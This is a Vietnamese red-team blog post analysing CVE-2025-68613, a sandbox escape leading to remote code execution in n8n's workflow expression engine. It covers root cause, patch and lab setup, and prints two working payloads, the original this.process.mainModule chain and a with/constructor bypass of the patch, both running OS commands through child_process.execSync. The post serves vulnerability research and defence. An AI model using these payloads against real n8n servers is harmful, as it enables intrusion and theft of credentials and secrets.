Đọc báo cáo ATTT mới nhất tại đây

VCI
RED TEAM

Mổ xẻ CVE-2025-68613: Breaking Out of the Sandbox.

N8n là nền tảng automation/workflow rất phổ biến. Điểm mạnh (và cũng là điểm yếu chí mạng) của nó là cho phép người dùng viết expression JavaScript ngay trong workflow, được server evaluate trực tiếp ...

26-06-2026 16:17 GMT Thời gian đọc: 5 phútRED TEAM
Mổ xẻ CVE-2025-68613: Breaking Out of the Sandbox.

N8n là nền tảng automation/workflow rất phổ biến. Điểm mạnh (và cũng là điểm yếu chí mạng) của nó là cho phép người dùng viết expression JavaScript ngay trong workflow, được server evaluate trực tiếp để tính toán giá trị động.

CVE-2025-68613 nằm đúng ở engine evaluate đó. Theo thống kê, có hơn 103.476 instance n8n trên Internet có khả năng dính lỗi này — một con số đủ lớn để biến nó thành mục tiêu hấp dẫn cho cả pentester và attacker thật.

Mức điểm CVSS được chấm là 9.9 (Critical) — lý do dễ hiểu: độ phức tạp khai thác thấp (chỉ cần một user đã authenticate), nhưng tác động thì cực lớn vì đụng ngay vào core feature của n8n.

Phiên bản dính lỗi:

  • Toàn bộ nhánh từ 0.211.0 đến hết 1.120.3
  • 1.121.0
  • Các bản early của 1.122.x (trước 1.122.0)

Phiên bản đã vá:

  • 1.120.4, 1.121.1, 1.122.0 trở lên

Vì sao một lỗ hổng expression lại nguy hiểm đến vậy?

N8n thường đóng vai trò “nhạc trưởng” kết nối hệ thống nội bộ, cloud service, API bên thứ ba. Một khi RCE xảy ra ở đây, thiệt hại không chỉ nằm trong một container — nó lan ra toàn bộ hệ sinh thái mà n8n đang điều phối. Nhìn theo lăng kính CIA, cả ba trụ cột đều bị đánh sập ở mức HIGH:

Confidentiality — kẻ tấn công có thể đọc gần như mọi thứ workflow đang xử lý: API key, OAuth token, credential database, biến môi trường chứa secret, log thực thi, và cả dữ liệu nghiệp vụ nhạy cảm (khách hàng, nhân sự,…) đang chạy qua pipeline.

Integrity — không chỉ đọc, attacker còn sửa được logic. Có thể chèn expression độc hại để bóp méo dữ liệu, thao túng output ảnh hưởng hệ thống downstream, hoặc cài backdoor sống dai dẳng ngay trong workflow.

Availability — vì đã có RCE, việc xóa workflow, sửa file hệ thống gây crash, vét cạn resource bằng loop độc hại, hay thậm chí kịch bản kiểu ransomware đều nằm trong tầm tay.

Dựng lab debug local

Để hiểu rõ root cause, cách nhanh nhất là dựng source n8n local và debug trực tiếp bằng breakpoint thay vì đọc code suông. Phiên bản được chọn để demo là 1.119.0 — bản còn dính lỗi.

git clone -b release/1.119.0 https://github.com/n8n-io/n8n.git

cd n8n

pnpm install

pnpm build

NODE_OPTIONS="--inspect-brk=0.0.0.0:9229" pnpm start

Trước khi đào sâu vào source bản lỗi, một mẹo hay là đọc diff bản vá để hình dung nhanh hướng đi của vulnerability. Tại bản vá, n8n bổ sung một hàm mới là FunctionThisSanitizer trong file expression-sandboxing.ts

Đáng chú ý hơn, bản vá còn đụng vào thư viện nội bộ @n8n/tournament — thư viện dùng để parse expression. Dòng import:

import { type ASTBeforeHook, type ASTAfterHook, astBuilders as b, astVisit } from '@n8n/tournament';

cho thấy patch này can thiệp trực tiếp vào quá trình xử lý AST (Abstract Syntax Tree), đúng ngay tầng sandbox/security. ASTBeforeHook thường dùng để chỉnh sửa AST từ sớm (thay node nguy hiểm, chèn lớp bảo vệ), còn ASTAfterHook đóng vai “chốt kiểm tra cuối” — duyệt lại toàn bộ AST để chặn các pattern có thể dẫn tới escape sandbox hoặc thực thi mã trái phép.

Tới đây có thể đoán được: lỗ hổng nằm quanh khu vực expression, và trên UI workflow có một ô input cho phép người dùng nhập biểu thức tính toán — đúng là điểm chạm trực tiếp với người dùng.

Expression trong n8n hoạt động ra sao?

Expression là một đoạn JavaScript, khi thực thi sẽ trả ra một giá trị. Trong n8n, nó được viết trong cặp {{ }} và evaluate ở phía server. Ví dụ {{ 2+2 }} sẽ trả về 4. Quan trọng hơn, expression không chỉ giới hạn ở phép tính — nó cho phép gọi cả function.

Thử tạo một workflow đơn giản với node Edit Field, nhập giá trị có chứa expression:

Nhập {{ 3*7 }} vào field Value — một payload SSTI (Server-Side Template Injection) kinh điển — và hệ thống trả về 21. Điều này xác nhận: có một hàm đang render expression thật sự ở backend, không chỉ là string thay thế đơn giản.

Quay lại source, đặt breakpoint ở hàm khả nghi nhất: evaluateExpression trong file expression.ts

Nhấn F5 để bắt đầu debug, sau đó click “Execute task” trên UI. Luồng thực thi dừng đúng tại evaluateExpression — đi đúng hướng.

Biến expression đang mang giá trị {{ 3*7 }}. Tiếp tục F11 (step into) để lần theo các hàm con: expression được truyền tiếp vào evaluator...

...rồi vào hàm evaluate, và cuối cùng dừng tại getFunction với giá trị expression vẫn không đổi.

Đây chính là điểm mấu chốt: getFunction tạo ra một function mới bằng new Function() — tức là build nguyên một đoạn code runtime từ chuỗi expression, rồi trả về kết quả thực thi của nó.

Và cuối cùng trả về kết quả cho người dùng

Nếu hệ thống dùng new Function() để build code động, vậy chuyện gì xảy ra nếu expression của ta không chỉ là phép tính mà là một đoạn code cố tình “vịn” vào global object để gọi process?

{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}

Phân tích từng phần của payload:

{{ ... }} — expression được evaluate như JS thuần, ở non-strict mode, không hề bị sandbox this.

(function(){...})() — một IIFE gọi không có receiver, khiến this === global.

this.process.mainModule — bypass require thông qua entry module của Node process; require lấy ra ở đây là require thật.

.require('child_process') — lấy API hệ điều hành.

execSync('command') — thực thi lệnh OS tùy ý.

Để hiểu rõ vì sao this lại trỏ về global, nhắc lại kiến thức JS cơ bản: mọi function chạy trong một execution context, và this đại diện cho object ngữ cảnh tại thời điểm gọi.

function showThis() {

  return this;

}

console.log(showThis());

// → global { process, setTimeout, ... }

Thử áp dụng tương tự với expression trong n8n:

{{ (function () { return this })() }}

Thì n8n trả về kết quả:

Đây chính là root cause của CVE. Global object của Node.js mở ra quyền truy cập tới process (bao gồm biến môi trường), require() (cơ chế load module), và toàn bộ core API của runtime. Khi expression do attacker kiểm soát chạm được vào global object, hệ quả là:

  • Load module lõi của Node.js
  • Thực thi lệnh OS
  • Truy cập secret/credential
  • Thay đổi hành vi của môi trường runtime

Về thiết kế, expression đáng lẽ phải bị nhốt trong sandbox riêng. Nhưng thực tế, nó lại kế thừa trực tiếp ngữ cảnh global của Node.js — và đó là khe hở dẫn tới escape sandbox + RCE.

Tóm gọn chuỗi exploit: this → global object → this.process → process thật → process.mainModule.require → require tùy ý → Remote Code Execution.

Khai thác

Quay lại UI, thay {{ 3*7 }} bằng payload exploit ở trên và lặp lại các bước debug

Tại getFunction, hệ thống build hàm return và trả về kết quả của nguyên một function — chính là payload đã chèn:

Thực thi OS command thành công:

N8n đã vá lỗi này như thế nào?

Hướng fix logic nhất là: vô hiệu hóa khả năng this chạm vào process/global. n8n chọn cách xử lý ở compile-time bằng AST transform, thay vì runtime sandbox.

Sau khi vá, this không còn trỏ về global — nó bị ép thành một object rỗng chứa process giả (tức this.process vẫn “tồn tại” nhưng chỉ là object trống, vô hại).

Bản vá còn bổ sung hàm FunctionThisSanitizer:

Hàm này xử lý CallExpression (IIFE) bằng .call(...), vì cách này: chủ động set this, không cần đổi body function, và không cần strict mode. Patch còn dùng depth-first traversal để chặn luôn cả biến thể bypass lồng nhau kiểu:

(function () {

  return (function () {

    return this.process;

  })();

})();

So sánh nhanh trước/sau:

Trước khi fixSau khi fix
FunctionExpression → this === global → process → require → execFunctionExpression → this === { process: {} } → process không có API → dead end

Bypass bản vá: khi this bị chặn nhưng with vẫn mở

Sau khi n8n chặn đường this → global → process, thử lại payload cũ trên bản 1.121.1:

Payload cũ đã vô dụng với phiên bản mới

Bản vá đã chặn thành công đường gọi mainModule từ this. Nhưng gần đây, một biến thể CVE mới đã bypass được lớp bảo vệ này bằng cách lợi dụng constructor:

Bypass bản vá CVE-2025-68613

{{ (function(){ var constructor = 123; with(function(){}){ return constructor("return process.mainModule.require('child_process').execSync('id').toString().trim()")() } })() }}

Payload này không đi theo đường this → process nữa — mà dùng kết hợp scope của JS, with, và Function constructor để tự build function ngay tại runtime.

Điểm mấu chốt: Function constructor tương đương eval.

Function("return process")()

// tương đương với

eval("process")

Function không kế thừa scope hiện tại — nó luôn chạy trong global scope, bất kể được gọi từ đâu.

Payload dùng hai “mẹo” để vượt qua static analysis của sandbox cũ:

Mẹo 1 — Shadow biến constructor: var constructor = 123; đánh lạc hướng việc scan tĩnh — khi sandbox quét thấy constructor, nó nghĩ đây chỉ là một biến số thông thường.

Mẹo 2 — Đổi scope resolution bằng with:

with (obj) {

   constructor(...)

}

with khiến JS resolve constructor theo thứ tự: obj.constructor → scope ngoài → global. Trong payload:

with (function(){}) {

  return constructor("code")()

}

(function(){}) là một Function object, và trong JS (function(){}).constructor === Function. Vì vậy bên trong block with, constructor thực chất resolve thành Function — và do sandbox cũ không cấm with, cũng không cắt đứt prototype chain, nên trick này lách qua được hoàn toàn.

Kết hợp hai mẹo trên, attacker gọi được process.mainModule và thực thi lệnh tùy ý. Chuỗi bypass đầy đủ:

Expression

 └─ FunctionExpression

    └─ with (function(){})

       └─ constructor → Function

          └─ new Function(code)

              └─ global scope

                 └─ process

                    └─ mainModule.require

                      └─ child_process.execSync

 

Kết luận

CVE-2025-68613 là minh chứng rõ ràng cho việc sandbox JavaScript runtime là một bài toán khó hơn nó tưởng — chặn một con đường (this) không có nghĩa là chặn được mọi con đường dẫn tới global scope. Việc n8n chuyển từ compile-time AST transform sang phải tiếp tục vá thêm cho biến thể with/constructor cho thấy: với expression engine cho phép chạy JS tùy ý, danh sách các “cửa sau” tới global object gần như không có điểm dừng tuyệt đối, và việc audit liên tục, vá kịp thời, kết hợp các lớp phòng thủ bổ sung (network isolation, least privilege, monitoring) vẫn là chiến lược thực tế nhất.

May đo bảo mật theo
quy mô & nhu cầu của Tổ chức

Tìm kiếm đơn vị Bảo vệ An ninh mạng cho tổ chức của bạn?